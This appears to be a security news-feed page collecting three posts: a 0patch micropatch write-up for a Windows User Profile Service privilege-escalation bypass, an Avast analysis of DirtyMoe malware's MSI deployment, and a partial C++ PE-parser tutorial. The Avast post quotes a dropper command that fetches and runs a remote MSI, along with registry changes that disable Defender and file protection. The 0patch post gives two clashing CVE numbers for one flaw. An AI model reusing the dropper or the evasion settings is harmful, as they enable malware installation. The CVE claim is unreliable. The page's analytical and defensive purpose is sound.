August 2021 Windows Updates brought a fix for CVE-2021-34484, found and reported by security researcher Abdelhamid Naceri. This vulnerability was considered by Microsoft to be an "arbitrary directory deletion" bug, allowing a locally logged-on attacker to delete a folder on the computer. This, combined with the fact that the attacker must also have credentials of another user who can locally log on to the same computer, made the bug seem fairly uninteresting.

However, Abdelhamid subsequently reviewed Microsotf's fix and found it to be incomplete, bypassable with a small change to the attack script. Furthermore, he confirmed the vulnerability was more impactful than described in Microsoft's advisory, namely enabling local privilege escalation from a regular user to System. Consequently, a write-up and proof of concept were published, which allowed us to analyze the vulnerability and create a micropatch for it. 


The Vulnerability

The vulnerability lies in the User Profile Service, specifically in the code responsible for creating a temporary user profile folder in case the user's original profile folder is damaged or locked for some reason. Abdelhamid found that the process (executed as Local System) of copying folders and files from user's original profile folder to the temporary one can be attacked with symbolic links to create attacker-writable folders in a system location from which a subsequently launched system process would load and execute attacker's DLL.

The crux of the attack is in quickly creating a symbolic link in the temporary user profile folder (C:\Users\TEMP) so that when the User Profile Service copies a folder from user's original profile folder, it will end up creating a folder somewhere else - where the attacker would normally not have permissions to create one.

Microsoft, even though believing the vulnerability only allowed for deletion of an arbitrarily "symlinked" folder, made a conceptually correct fix: it checked whether the destination folder under C:\Users\TEMP was a symbolic link, and aborted the operation if so. The incompleteness of this fix, as noticed by Abdelhamid, was in the fact that the symbolic link need not be in the upper-most folder (which Microsoft's fix checked), but in any folder along the destination path.

Admittedly, this bug was not easy to reproduce, as it requires winning a race condition and that depends on lots of factors. Nevertheless, an actual attacker would have an unlimited number of attempts and would not be dismayed by that. A more significant obstacle for them would be obtaining additional user's credentials, which seem to be needed in order to exploit this vulnerability. As stated by Abdelhamid, "it might be possible to do it without knowing someone else password." but until someone finds a way to do so, we shall assume this to be a requirement.

While this vulnerability already has its CVE ID (CVE-2021-33742), we're considering it to be without an official vendor fix and therefore a "0day".

Our Micropatch

Our micropatch extends the incomplete security check from Microsoft's fix to the entire destination path by calling GetFinalPathNameByHandle and thus resolving any symbolic links it may contain. Then, by comparing the original path and the "resolved" path, it determines whether any symbolic links are present; if not, original code execution is resumed, otherwise the creation of a temporary user profile is aborted.


Our micropatch (green code blocks) injected in the original code of profext.dll.

Source code of our micropatch:

MODULE_PATH "..\Affected_Modules\profext.dll_10.0.19041.1165_Win10-2004_64-bit_u202110\profext.dll"
VULN_ID 7184

  PIT Kernel32.dll!GetFinalPathNameByHandleW,Kernel32.dll!LocalAlloc,msvcrt.dll!_wcsicmp,profext.dll!0x150c8,Kernel32.dll!LocalFree
                         ; original path is on rbx
    mov rcx, 0           ; LMEM_FIXED
    mov rdx, 208h        ; number of bytes to allocate
    sub rsp, 20h         ; home space
    call PIT_LocalAlloc  ; allocates the specified number of bytes on the heap
    add rsp, 20h         ; restore stack pointer
    mov rcx, [rsp+40h]   ; hFile, handle to file
    push rax             ; save pointer to heap buffer for _wcsicmp
    push rax             ; save pointer to heap buffer for LocalFree
    mov rdx, rax         ; pointer to allocated memory
    mov r9d, 0           ; type of returned result, FILE_NAME_NORMALIZED
    mov r8d, 208h        ; max length of Windows path, the size of lpszFilePath
    sub rsp, 20h         ; home space
    call PIT_GetFinalPathNameByHandleW ; retrieve final path for the specified file
    add rsp, 20h         ; restore stack pointer
    pop rcx              ; pointer to allocated buffer
    lea rcx, [rcx+8]     ; GetFinalPathNameByHandleW returns path with \\?\, we get rid of that
    mov rdx, rbx         ; current path
    sub rsp, 20h         ; home space
    call PIT__wcsicmp    ; compare two null terminated paths
    add rsp, 20h         ; restore stack pointer
    cmp rax, 0           ; are strings equal?
    je END               ; if equal, then no links exist, proceed with normal execution
    pop rcx              ; pointer to allocated buffer
    call PIT_LocalFree   ; free allocated buffer
    call PIT_ExploitBlocked ; report exploit attempt
    jmp PIT_0x150c8      ; error out
    pop rcx              ; pointer to allocated buffer
    call PIT_LocalFree   ; free allocated buffer
                         ; and continue with normal execution


And the video of our micropatch in action. Without the micropatch, exploit works; with the micropatch, corrected code in User Profile Service determines that a destination path contains a symbolic link and aborts the creation of a temporary profile folder.

[Update 11/16/2021: The list below updated with additional supported platforms]

This micropatch was written for: 

  1. Windows 10 v21H1 (32 & 64 bit) updated with October or November 2021 Updates
  2. Windows 10 v20H2 (32 & 64 bit) updated with October or November 2021 Updates
  3. Windows 10 v2004 (32 & 64 bit) updated with October or November 2021 Updates
  4. Windows 10 v1909 (32 & 64 bit) updated with October or November 2021 Updates
  5. Windows 10 v1903 (32 & 64 bit) updated with October or November 2021 Updates
  6. Windows 10 v1809 (32 & 64 bit) updated with May 2021 Updates
  7. Windows Server 2019 64 bit updated with October or November 2021 Updates
  8. Windows Server 2016 64 bit updated with November 2021 Updates
While some older Windows versions also seem to be theoretically affected, the vulnerable code is different there, making the window for winning the race condition extremely narrow and probably unexploitable.
Micropatches for this vulnerability will be free until Microsoft has issued an official fix. If you want to use them, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com. Everything else will happen automatically. No computer reboots will be needed.

We'd like to thank Abdelhamid Naceri for finding this issue and sharing details, which allowed us to create a micropatch and protect our users. Thanks also to Will Dormann for useful tips on reproducing this issue.

To learn more about 0patch, please visit our Help Center.



✇ Avast Threat Labs

DirtyMoe: Deployment

By: Martin Chlumecký


In the first article, we have described a complex malware, called DirtyMoe, from a high-level point of view. Most of the captured samples were MSI Installer packages which were delivered onto a victim’s machine by the PurpleFox exploit kit. So in the fourth part of the DirtyMoe series, we will focus on DirtyMoe’s deployment and how DirtyMoe tackles various issues with different versions of Windows.

To understand what the MSI package executes on the victim’s machine, we have analyzed the MSI package in terms of registry and file manipulations, installer’s arguments, and post-reboot operations. We have also tried to put these actions into the context to determine the purpose of its individual actions in DirtyMoe’s deployment.

The DirtyMoe’s MSI installer abuses the Windows System Event Notification Service (SENS) to deploy DirtyMoe. The main goal of the MSI installer is to replace the system DLL file of SENS with a malicious payload and execute the payload as a legitimate service. Another essential point is configuring the anti-detection methods to keep DirtyMoe under the radar.

The DirtyMoe malware requires different locations of installed files and registry entries for each Windows version that the malware targets. Since the MSI Installer provides a convenient way to install arbitrary software across versions of Windows, its usage seems like a logical choice.

1. Scope

We have recorded two versions of MSI installer packages distributing DirtyMoe. Both versions perform very similar actions for the successful DirtyMoe deployment. The main difference is the delivery of malicious files via a CAB file. The older version of the MSI package includes the CAB file directly in the package, while the newer version requires the CAB file in the same location as the package itself.

The effect of the separate CAB file easily allows managing payloads that need to be deployed. Further, it reduces the size of the primary exploit payload because the CAB file can be downloaded after successful exploitations.

1.1 All in One Package (older version)

The example of the all in one package is a sample with SHA-256:

The package details follow:

  • Product Version:
  • Product Code: {80395032-1630-4C4B-A997-0A7CCB72C75B}
  • Install Condition:
    • is Windows NT (cannot be installed on Windows 9x/ME)
    • is not Windows XP SP2 x64 or Windows Server 2003 SP2 x64
    • is not Windows XP/2003 RTM, Windows XP/2003 SP1, Windows XP SP2 x86
    • is not Windows NT 4.0
    • is not Windows 2000
    • not exist SOFTWARE\SoundResearch\UpdaterLastTimeChecked3 with value 3
  • File Size: 2.36 MB
1.2 Excluded Data Package (newer version)

The newer version of the MSI package consists of two parts. The first part is the MSI package itself and the separate CAB file containing the malicious payloads. The MSI package refers to one of the following CAB files: M0011.cab, M0021.cab, M0031.cab, , M0041.cab, M0051.cab, M0061.cab , M0071.cab . The CAB file contains three malicious files, but only one file (sysupdate.log) is different for each CAB file. Detailed information about the file manipulation is described in Section 3.

The example of the newer MSI package is a sample with SHA-256:

The package details follow:

  • Product Version:
  • Product Code: {80395032-1630-4C4B-A997-0A7CCB72C75B}
  • Install Condition:
    • is Windows NT (cannot be installed on Windows 9x/ME)
    • is not Windows XP SP2 x64 or Windows Server 2003 SP2 x64
    • is not Windows XP/2003 RTM, Windows XP/2003 SP1, Windows XP SP2 x86
    • is not Windows NT 4.0
    • is not Windows 2000
    • not exist HKLM\SOFTWARE\Microsoft\DirectPlay8\Direct3D
    • not exist HKCU\SOFTWARE\7-Zip\StayOnTop
  • File Size: 1.020 MB

Note: The product name is usually different for each .msi file. It is a random string composed of capital letters of length 36. The product code has so far been observed with the same value.

2. Registry Manipulation

The malware authors prepare a victim environment to a proper state via the MSI installer. They focus on disabling anti-spyware and file protection features. Additionally, the MSI package uses one system configuration to bypass Windows File Protection (WFP) to overwrite protected files despite the fact that WFP should prevent replacing critical Windows system files [1].

There are several registry manipulations during MSI installation, though we will describe only the most crucial registry entries.

2.1 Mutex

One of the malware registry entries is UpdaterLastTimeChecked[x], where x signifies how many times the MSI installer has been run. Each MSI installation of the package creates one entry. If UpdaterLastTimeChecked3 is present, the following package installation is not allowed. It is applicable only for the older version of the MSI package.

This registry manipulation is related only to the newer version. 7-Zip software does not support the stay on top feature. Therefore, it can be assumed that this registry entry serves as a flag that the installer package has been successfully run. SentinelLabs has published evidence that the presentence of this value indicates that a victim computer has been compromised by PurpleFox [2].

An active instance of the DirtyMoe malware stores settings and meta-data in this registry entry in an encrypted form. Therefore, if this entry is present in the system registry, the MSI installation is aborted.

2.2 Anti-Detection

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = 1
Microsoft Defender Antivirus can be disabled by the DisableAntiSpyware registry key set to 1. So, if the system has no 3rd party antivirus product, the system is without protection against malicious software, including spyware [3].

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCDisable = 4
Windows File Protection (WFP) prevents non-system applications from replacing critical Windows system files that can cause problems with the operating system integrity and stability. WFP is typically enabled by default in all versions of Windows [4].

Naturally, DirtyMoe wants to avoid a situation where WFP detects any manipulation with the system files. Therefore, the SFCDisable value is set to four, enabling WFP, but every WFP action is not pop-upped by GUI. The effect is that WFP is enabled, so no system alerts are invoked, but WFP warning is hidden for users. This is applicable only for Windows XP.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCScan = 0
The System File Checker (SFC) provides the ability to scan system-protected files. SFC verifies file versions, and if it detects any file manipulation, SFC updates files to the correct version. This registry manipulation contributes to disabling SFC protecting the abused Windows service. This setup affects only file scanning, but WFP can still be active.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SvcHostSplitThresholdInKB = 0xFFFFFFFF
The crucial registry manipulation controls the system startup and some aspects of device configuration. To understand the primary purpose of the SvcHostSplitThresholdInKB registry entry, we must describe the historical development of Windows services and a generic host process.

In most cases, Windows services are run from dynamic-link libraries that Windows executes via the generic host process (svchost.exe). The hosted process can load more services (DLLs) as threads within one process. This is a historical relict from the times of Windows XP where system memory used to be a scarce commodity. The system used a few service host processes that hosted all Windows services, represented by DLL files, as the process creation and maintenance were expensive in terms of the system memory.

Figure 1 illustrates the example of run services and detailed information about the biggest host service process. Windows XP created 5 host processes grouped according to their purposes, such as LocalService, NetworkService, and System. PID 1016 is the biggest process in point of the memory usage view since this process hosts approx. 20 services. This approach saved the memory but made the system more unstable because if one of the services crashed, the entire service chain hosted by the same process was killed.

Figure 1. Service chain in Windows XP

Nowadays, there is no reason to group services within a few processes, and the resulting positive effects are increased system stability and security, as well as easier error analysis. Services now usually no longer share processes; mini-programs for providing system functions have an exclusive memory location. And if the svchost.exe process crashes, it no longer drags the entire service chain with it [5].

Windows 10 has come with a threshold value (SvcHostSplitThresholdInKB), determining when services shall be created as a regular process. The default value is 380,000, so the grouping service model is used if the system has less than 3.5 GB of memory. In other words, the increasing threshold value can reduce the amount of the host processes, and therefore it determines if the service processes are split.

Let’s give an example for Windows 10, if the value is set to 1, the number of host processes is approx. 70. And the threshold value equal to maximum (0xFFFFFFFF) causes that number of host processes to be only 26.

It is now understood that the maximum value of SvcHostSplitThresholdInKB can hide details about run processes. Therefore, the malware author set the threshold value to the maximum to hide the malicious service activity in threads. As a consequence, the malicious service is run within one host process in one of its threads. Accordingly, tracking and forensic analysis are made more difficult since the svchost process hosts many other services, and it is hard to assign system activities to the malware service.

2.3 Payload Delivery

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\SMBDeviceEnabled = 0
In order to prevent deployment of other malware via EternalBlue exploit [6], the MSI installer disables SMB sharing, effectively closing port 445 on Windows XP.

AllowProtectedRenames and PendingFileRenameOperations
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AllowProtectedRenames
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations

These registry entries are also related to WFP and therefore are crucial for the malicious code’s deployment to the victim machine. The principle is the same as in the MoveFileEx function with MOVEFILE_DELAY_UNTIL_REBOOT flag [7]. In other words, the MSI installer defines which file will be moved or deleted after reboot via the Session Manager Subsystem (SMSS) [8].

The malware authors abuse two system files, sens.dll for Windows Vista and newer, and cscdll.dll for Windows XP, see Section 3. Consequently, the SMSS replaces the critical system file with the malicious ones after the system reboot.

An example of the PendingFileRenameOperations value for Windows 7 32bit is as follows:





3. File Manipulation

DirtyMoe misuses the system services, precisely service DLL files, that are protected and which handlers are open, so replacing these files is not possible without the system reboot. Therefore, the first phase of the file manipulation is to extract payloads from the CAB file, and the second phase replaces the service DLL files with the extracted CAB files.

3.1 File Extraction

The CAB file usually contains three payload files.

  • winupdate32.log and winupdate64.log are malicious DLLs representing the DirtyMoe service.
  • sysupdate.log is an encrypted executable file that contains the default DirtyMoe module injected by the DirtyMoe service.

The MSI installer extracts and copies payloads from the CAB file into defined destinations if an appropriate condition is met, as the following table summarizes.

File Destination Condition
sysupdate.log %windir% None
winupdate32.log %windir% NOT VersionNT64
winupdate64.log %windir% VersionNT64

If the required files are extracted into the proper destination, the MSI installer ends and waits silently for the system to reboot. The next actions are performed by the SMSS.

3.2 File Replacement

The Session Manager Subsystem (SMSS) ensures replacing abused system files that are system-protected with the malicious ones based on PendingFileRenameOperations registry entry; see Section 2.3. In fact, the MSI installer invokes a post-reboot file manipulation based on a Windows version as follows:

Windows XP

  • Delete (if exist) %windir%\\AppPatch\\Acpcscdll.dll
  • Move %windir%\\system32\\cscdll.dll to %windir%\\AppPatch\\Acpcscdll.dll
  • Move %windir%\\winupdate32.log to %windir%\\system32\\cscdll.dll
  • Delete (if exist) %windir%\\AppPatch\\Ke583427.xsl
  • Move %windir%\\sysupdate.log to %windir%\\AppPatch\\Ke583427.xsl

Windows Vista and newer

  • Delete (if exist) %windir%\\AppPatch\\Acpsens.dll
  • Move %windir%\\system32\\sens.dll to %windir%\\AppPatch\\Acpsens.dll
  • Move %windir%\\winupdate64.log to %windir%\\system32\\sens.dll
  • Delete (if exist) %windir%\\AppPatch\\Ke583427.xsl
  • Move %windir%\\sysupdate.log to %windir%\\AppPatch\\Ke583427.xsl

The difference between Windows XP and Windows Vista and newer is an exploit of a hosting service. Windows XP uses Offline Network Agent (cscdll.dll) loaded by winlogon.exe under NT AUTHORITY\SYSTEM privileges. Windows Vista and newer provide System Event Notification Service (sens.dll) also run under SYSTEM. The Ke583427.xsl file is a default DirtyMoe module that is encrypted.

In short, the post-reboot operation slips DirtyMoe DLL into the system folder under the service name that is registered legitimately in the system. Replacement of such system files is possible because it is completed by SMSS, which is the first user-mode process started by the kernel. For that reason no handlers are created to the system DLL, and WFP is not also run yet. Finally, the malware represented by the slipped malicious DLL is started with system-level privileges since the abused service is registered as the legitimate service in Windows.

4. Deployment Workflow

If the PurpleFox successfully exploits a victim’s machine, the MSI installer package is run with administrator privileges. The MSI installer provides several options on how to install software silently, and therefore no user interaction is required. Although the system restart is necessary to apply all changes, the MSI installer also supports delayed restart; therefore, the user does not detect any suspicious symptoms. The installer only waits for the next system restart.

An example of how to run installation silently via MSI installer:
msiexec.exe /i <dirtymoe.msi> /qn /norestart; where /qn sets UI level to no UI.

We have captured a specific example of how the MSI installer is run after the successful system exploit.
Cmd /c for /d %i in ( do Msiexec /i http:\%i\0BC8EC41.moe \Q

This dropper iterates five IP addresses that are different for each minute, including ports; see Section 2 of the first part of DirtyMoe series. The MSI installer is run for each IP address with parameter \Q, so if the requested remote location is not available or the MSI file does not exist, the installer does not inform the user about the error. The deployment process then runs silently in the background.

The MSI installer sets the system registry defined in Section 2 and copies malicious files to the Windows folder, see Section 3. The subsequent system restart will arrange the code execution of the malicious DLL containing ServiceMain, which Windows starts as the SENS service. Given the complexity of the malicious service, we will return to its detailed description in the following blog post.

Usually, the MSI installer caches installation files in C:\Windows\Installer for future use, such as updating, reinstalling, etc. However, DirtyMoe does not keep the .msi backup file. The installer just creates a hash file about the malware installation. The filename has the form SourceHash{<Product Code>}. The file contains the name of the MSI source package. The most prevalent GUID is equal to: {80395032-1630-4C4B-A997-0A7CCB72C75B}

The MSI Installer Rollback Script cannot remove the malware since deployed files are moved by the SMSS and are out of the MSI Installer scope.

The whole deployment workflow is illustrated in Figure 2.

Figure 2. DirtyMoe deployment workflow

5. Conclusion

We have introduced the deployment process of the DirtyMoe malware via the MSI Installer that presents an easy way of supporting multiple configurations for various Windows versions. The MSI installer prepares all necessary files and configuration for successful deployment of the malware and also cleans up backup and cache files. However, there are a few symptoms that can reveal the DirtyMoe installations.

After the system reboot, Session Manager overwrites the files representing one of the system services by the malicious DLL file. The system then runs an appropriate service and thereby loads the malicious code, including the default DirtyMoe’s object, as the legitimate service.

All these steps deploy and run DirtyMoe on the victim’s machine. In point of the cyber kill chain, detailed information about DirtyMoe service and further installation actions will be introduced in the future article.


[1] Description of the Windows File Protection feature
[2] Purple Fox EK
[3] Security Malware Windows Defender
[4] Enable or Disable Windows File Protection
[5] Split Threshold for svchost.exe in Windows 10
[6] EternalBlue
[7] MoveFileExA function (winbase.h)
[8] Pending FileRename Operations

The post DirtyMoe: Deployment appeared first on Avast Threat Labs.

✇ 0xRick

A dive into the PE file format - LAB 1: Writing a PE Parser

By: 0xRick

A dive into the PE file format - LAB 1: Writing a PE Parser


In the previous posts we’ve discussed the basic structure of PE files, In this post we’re going to apply this knowledge into building a PE file parser in c++ as a proof of concept.

The parser we’re going to build will not be a full parser and is not intended to be used as a reliable tool, this is only an exercise to better understand the PE file structure.
We’re going to focus on PE32 and PE32+ files, and we’ll only parse the following parts of the file:

  • DOS Header
  • Rich Header
  • NT Headers
  • Data Directories (within the Optional Header)
  • Section Headers
  • Import Table
  • Base Relocations Table

The code of this project can be found on my github profile.

Initial Setup

Process Outline

We want out parser to follow the following process:

  1. Read a file.
  2. Validate that it’s a PE file.
  3. Determine whether it’s a PE32 or a PE32+.
  4. Parse out the following structures:
    • DOS Header
    • Rich Header
    • NT Headers
    • Section Headers
    • Import Data Directory
    • Base Relocation Data Directory
  5. Print out the following information:
    • File name and type.
    • DOS Header:
      • Magic value.
      • Address of new exe header.
    • Each entry of the Rich Header, decrypted and decoded.
    • NT Headers - PE file signature.
    • NT Headers - File Header:
      • Machine value.
      • Number of sections.
      • Size of Optional Header.
    • NT Headers - Optional Header:
      • Magic value.
      • Size of code section.
      • Size of initialized data.
      • Size of uninitialized data.
      • Address of entry point.
      • RVA of start of code section.
      • Desired Image Base.
      • Section alignment.
      • File alignment.
      • Size of image.
      • Size of headers.
    • For each Data Directory: its name, RVA and size.
    • For each Section Header:
      • Section name.
      • Section virtual address and size.
      • Section raw data pointer and size.
      • Section characteristics value.
    • Import Table:
      • For each DLL:
        • DLL name.
        • ILT and IAT RVAs.
        • Whether its a bound import or not.
        • for every imported function:
          • Ordinal if ordinal/name flag is 1.
          • Name, hint and Hint/Name table RVA if ordinal/name flag is 0.
    • Base Relocation Table:
      • For each block:
        • Page RVA.
        • Block size.
        • Number of entries.
        • For each entry:
          • Raw value.
          • Relocation offset.
          • Relocation Type.

winnt.h Definitions

We will need the following definitions from the winnt.h header:

  • Types:
    • BYTE
    • WORD
    • DWORD
    • QWORD
    • LONG
  • Constants:
  • Structures:

I took these definitions from winnt.h and added them to a new header called winntdef.h.


typedef unsigned char BYTE;
typedef unsigned short WORD;
typedef unsigned long DWORD;
typedef unsigned long long QWORD;
typedef unsigned long LONG;
typedef __int64 LONGLONG;
typedef unsigned __int64 ULONGLONG;

#define ___IMAGE_NT_OPTIONAL_HDR32_MAGIC       0x10b
#define ___IMAGE_NT_OPTIONAL_HDR64_MAGIC       0x20b
#define ___IMAGE_DOS_SIGNATURE                 0x5A4D

#define ___IMAGE_DIRECTORY_ENTRY_EXPORT          0
#define ___IMAGE_DIRECTORY_ENTRY_IMPORT          1
#define ___IMAGE_DIRECTORY_ENTRY_DEBUG           6
#define ___IMAGE_DIRECTORY_ENTRY_TLS             9
#define ___IMAGE_DIRECTORY_ENTRY_IAT            12

#define ___IMAGE_SIZEOF_SHORT_NAME              8
#define ___IMAGE_SIZEOF_SECTION_HEADER          40

typedef struct __IMAGE_DOS_HEADER {
    WORD   e_magic;
    WORD   e_cblp;
    WORD   e_cp;
    WORD   e_crlc;
    WORD   e_cparhdr;
    WORD   e_minalloc;
    WORD   e_maxalloc;
    WORD   e_ss;
    WORD   e_sp;
    WORD   e_csum;
    WORD   e_ip;
    WORD   e_cs;
    WORD   e_lfarlc;
    WORD   e_ovno;
    WORD   e_res[4];
    WORD   e_oemid;
    WORD   e_oeminfo;
    WORD   e_res2[10];
    LONG   e_lfanew;

typedef struct __IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;

typedef struct __IMAGE_OPTIONAL_HEADER {
    WORD    Magic;
    BYTE    MajorLinkerVersion;
    BYTE    MinorLinkerVersion;
    DWORD   SizeOfCode;
    DWORD   SizeOfInitializedData;
    DWORD   SizeOfUninitializedData;
    DWORD   AddressOfEntryPoint;
    DWORD   BaseOfCode;
    DWORD   BaseOfData;
    DWORD   ImageBase;
    DWORD   SectionAlignment;
    DWORD   FileAlignment;
    WORD    MajorOperatingSystemVersion;
    WORD    MinorOperatingSystemVersion;
    WORD    MajorImageVersion;
    WORD    MinorImageVersion;
    WORD    MajorSubsystemVersion;
    WORD    MinorSubsystemVersion;
    DWORD   Win32VersionValue;
    DWORD   SizeOfImage;
    DWORD   SizeOfHeaders;
    DWORD   CheckSum;
    WORD    Subsystem;
    WORD    DllCharacteristics;
    DWORD   SizeOfStackReserve;
    DWORD   SizeOfStackCommit;
    DWORD   SizeOfHeapReserve;
    DWORD   SizeOfHeapCommit;
    DWORD   LoaderFlags;
    DWORD   NumberOfRvaAndSizes;

typedef struct __IMAGE_OPTIONAL_HEADER64 {
    WORD        Magic;
    BYTE        MajorLinkerVersion;
    BYTE        MinorLinkerVersion;
    DWORD       SizeOfCode;
    DWORD       SizeOfInitializedData;
    DWORD       SizeOfUninitializedData;
    DWORD       AddressOfEntryPoint;
    DWORD       BaseOfCode;
    ULONGLONG   ImageBase;
    DWORD       SectionAlignment;
    DWORD       FileAlignment;
    WORD        MajorOperatingSystemVersion;
    WORD        MinorOperatingSystemVersion;
    WORD        MajorImageVersion;
    WORD        MinorImageVersion;
    WORD        MajorSubsystemVersion;
    WORD        MinorSubsystemVersion;
    DWORD       Win32VersionValue;
    DWORD       SizeOfImage;
    DWORD       SizeOfHeaders;
    DWORD       CheckSum;
    WORD        Subsystem;
    WORD        DllCharacteristics;
    ULONGLONG   SizeOfStackReserve;
    ULONGLONG   SizeOfStackCommit;
    ULONGLONG   SizeOfHeapReserve;
    ULONGLONG   SizeOfHeapCommit;
    DWORD       LoaderFlags;
    DWORD       NumberOfRvaAndSizes;

typedef struct __IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;

typedef struct __IMAGE_NT_HEADERS64 {
    DWORD Signature;
    ___IMAGE_FILE_HEADER FileHeader;
    ___IMAGE_OPTIONAL_HEADER64 OptionalHeader;

typedef struct __IMAGE_NT_HEADERS {
    DWORD Signature;
    ___IMAGE_FILE_HEADER FileHeader;
    ___IMAGE_OPTIONAL_HEADER32 OptionalHeader;

typedef struct __IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;
        DWORD   OriginalFirstThunk;
    DWORD   TimeDateStamp;
    DWORD   ForwarderChain;
    DWORD   Name;
    DWORD   FirstThunk;

typedef struct __IMAGE_IMPORT_BY_NAME {
    WORD    Hint;
    char   Name[100];

typedef struct __IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;
    DWORD   SizeOfBlock;

typedef struct __IMAGE_SECTION_HEADER {
    union {
        DWORD   PhysicalAddress;
        DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;

Custom Structures

I defined the following structures to help with the parsing process. They’re defined in the PEFILE_CUSTOM_STRUCTS.h header.


A structure to hold information about the Rich Header during processing.

typedef struct __RICH_HEADER_INFO {
    int size;
    char* ptrToBuffer;
    int entries;
  • size: Size of the Rich Header (in bytes).
  • ptrToBuffer: A pointer to the buffer containing the data of the Rich Header.
  • entries: Number of entries in the Rich Header.

A structure to represent a Rich Header entry.

typedef struct __RICH_HEADER_ENTRY {
    WORD  prodID;
    WORD  buildID;
    DWORD useCount;
  • prodID: Type ID / Product ID.
  • buildID: Build ID.
  • useCount: Use count.

A structure to represent the Rich Header.

typedef struct __RICH_HEADER {
  • entries: A pointer to a RICH_HEADER_ENTRY array.

A structure to represent a 32-bit ILT entry during processing.

typedef struct __ILT_ENTRY_32 {
    union {
        DWORD ORDINAL : 16;
        DWORD HINT_NAME_TABE : 32;
    } FIELD_1;

The structure will hold a 32-bit value and will return the appropriate piece of information (using bit fields) when the member corresponding to that piece of information is accessed.


A structure to represent a 64-bit ILT entry during processing.

typedef struct __ILT_ENTRY_64 {
    union {
        DWORD ORDINAL : 16;
        DWORD HINT_NAME_TABE : 32;
    } FIELD_2;

The structure will hold a 64-bit value and will return the appropriate piece of information (using bit fields) when the member corresponding to that piece of information is accessed.


A structure to represent a base relocation entry during processing.

typedef struct __BASE_RELOC_ENTRY {
    WORD OFFSET : 12;
    WORD TYPE : 4;
  • OFFSET: Relocation offset.
  • TYPE: Relocation type.


Our parser will represent a PE file as an object type of either PE32FILE or PE64FILE.
These 2 classes only differ in some member definitions but their functionality is identical.
Throughout this post we will use the code from PE64FILE.


The class is defined as follows:

class PE64FILE
    PE64FILE(char* _NAME, FILE* Ppefile);
    void PrintInfo();

    char* NAME;
    FILE* Ppefile;
    int _import_directory_count, _import_directory_size;
    int _basreloc_directory_count;

    // HEADERS



    // NT_HEADERS.Signature

    // NT_HEADERS.FileHeader

    // NT_HEADERS.OptionalHeader




    int  locate(DWORD VA);
    DWORD resolve(DWORD VA, int index);

    // PARSERS
    void ParseFile();
    void ParseDOSHeader();
    void ParseNTHeaders();
    void ParseSectionHeaders();
    void ParseImportDirectory();
    void ParseBaseReloc();
    void ParseRichHeader();

    void PrintFileInfo();
    void PrintDOSHeaderInfo();
    void PrintRichHeaderInfo();
    void PrintNTHeadersInfo();
    void PrintSectionHeadersInfo();
    void PrintImportTableInfo();
    void PrintBaseRelocationsInfo();

The only public member beside the class constructor is a function called printInfo() which will print information about the file.

The class constructor takes two parameters, a char array representing the name of the file and a file pointer to the actual data of the file.

After that comes a long series of variables definitions, these class members are going to be used internally during the parsing process and we’ll mention each one of them later.

In the end is a series of methods definitions, first two methods are called locate and resolve, I will talk about them in a minute.
The rest are functions responsible for parsing different parts of the file, and functions responsible for printing information about the same parts.


The constructor of the class simply sets the file pointer and name variables, then it calls the ParseFile() function.

PE64FILE::PE64FILE(char* _NAME, FILE* _Ppefile) {
	Ppefile = _Ppefile;



The ParseFile() function calls the other parser functions:

void PE64FILE::ParseFile() {








Resolving RVAs

Most of the time, we’ll have a RVA that we’ll need to change to a file offset.
The process of resolving an RVA can be outlined as follows:

  1. Determine which section range contains that RVA:
    • Iterate over all sections and for each section compare the RVA to the section virtual address and to the section virtual address added to the virtual size of the section.
    • If the RVA exists within this range then it belongs to that section.
  2. Calculate the file offset:
    • Subtract the RVA from the section virtual address.
    • Add that value to the raw data pointer of the section.

An example of this is locating a Data Directory.
The IMAGE_DATA_DIRECTORY structure only gives us an RVA of the directory, to locate that directory we’ll need to resolve that address.

I wrote two functions to do this, first one to locate the virtual address (locate()), second one to resolve the address (resolve()).

int PE64FILE::locate(DWORD VA) {
	int index;
		if (VA >= PEFILE_SECTION_HEADERS[i].VirtualAddress
			&& VA < (PEFILE_SECTION_HEADERS[i].VirtualAddress + PEFILE_SECTION_HEADERS[i].Misc.VirtualSize)){
			index = i;
	return index;

DWORD PE64FILE::resolve(DWORD VA, int index) {

	return (VA - PEFILE_SECTION_HEADERS[index].VirtualAddress) + PEFILE_SECTION_HEADERS[index].PointerToRawData;


locate() iterates over the PEFILE_SECTION_HEADERS array, compares the RVA as described above, then it returns the index of the appropriate section header within the PEFILE_SECTION_HEADERS array.

Please note that in order for these functions to work we’ll need to parse out the section headers and fill the PEFILE_SECTION_HEADERS array first.
We still haven’t discussed this part, but I wanted to talk about the address resolvers first.

main function

The main function of the program is fairly simple, it only does 2 things:

  • Create a file pointer to the given file, and validate that the file was read correctly.
  • Call INITPARSE() on the file, and based on the return value it decides between three actions:
    • Exit.
    • Create a PE32FILE object, call PrintInfo(), close the file pointer then exit.
    • Create a PE64FILE object, call PrintInfo(), close the file pointer then exit.

PrintInfo() calls the other print info functions.

int main(int argc, char* argv[])
	if (argc != 2) {
		printf("Usage: %s [path to executable]\n", argv[0]);
		return 1;

	FILE * PpeFile;
	fopen_s(&PpeFile, argv[1], "rb");

	if (PpeFile == NULL) {
		printf("Can't open file.\n");
		return 1;

	if (INITPARSE(PpeFile) == 1) {
